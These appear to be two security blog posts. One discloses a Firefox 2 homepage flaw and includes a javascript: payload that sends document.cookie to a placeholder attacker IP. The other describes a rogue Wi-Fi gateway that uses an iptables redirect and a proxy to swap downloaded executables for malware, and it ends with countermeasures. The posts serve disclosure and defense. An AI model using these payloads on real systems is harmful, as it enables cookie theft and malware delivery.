IBM Application Security Insider

Firefox Homepage JavaScript Execution

Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.

The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.

For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL.

The attacker must then somehow convince the victim to change his homepage to javascript:location.href='http://<ATTACKER_IP>/'
+document.cookie

When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!

Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen.

It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.

Now it is Yair's turn to find a new vulnerability in Internet Explorer :)

Untrusted Gateways - Open wireless networks

One should always ask himself if the wireless gateway he uses is trustworthy.

Depict yourself the following situation:

You are sitting in a coffee shop, seeking for wireless networks. what are you gonna do next? connect to a network which SSID's is similar to the coffee shop's name, or if none exists, connect to the first open network you find.

If the coffee shop doesn't have a wireless network, it gives a malicious user an opportunity to run his own network, on behalf of the coffee shop to attract clients. Otherwise, he will have to spoof the legitimate access-point's MAC, and race for new clients.

Everyone knows that open wireless networks are prone to sniffing, but most people are unaware of the fact that active attacks could take place as well, and it is especially easy if the malicious user controls the gateway.

This video demonstrates how an exe file is injected transparently into an innocent HTTP session.

What happens behind the scenes is the use of a transparent proxy I built, which terminates HTTP traffic, and searches for exe download patterns (Content-Type:\s+application/octet-stream to be exact). When it matches an exe pattern, it replaces the response with a malicious binary. The proxy runs on the gateway, which is fixed with an iptables rule (iptables -t nat -A PREROUTING -i [interface] -p tcp --dport 80 -j REDIRECT --to-ports [proxy interface]) that forwards all transit HTTP via the proxy.

By the use of PKI you can ensure you pass your malicious gateway without data mutation.
So consider yourself one of the following countermeasures:

1) Download binaries from SSL sites only (and verify the certificate!)
2) Use an SSL proxy (and again verify the certificate)
3) Tunnel traffic through a VPN
4) Tunnel traffic through SSH
5) Download signed binaries, and verify the digital signature.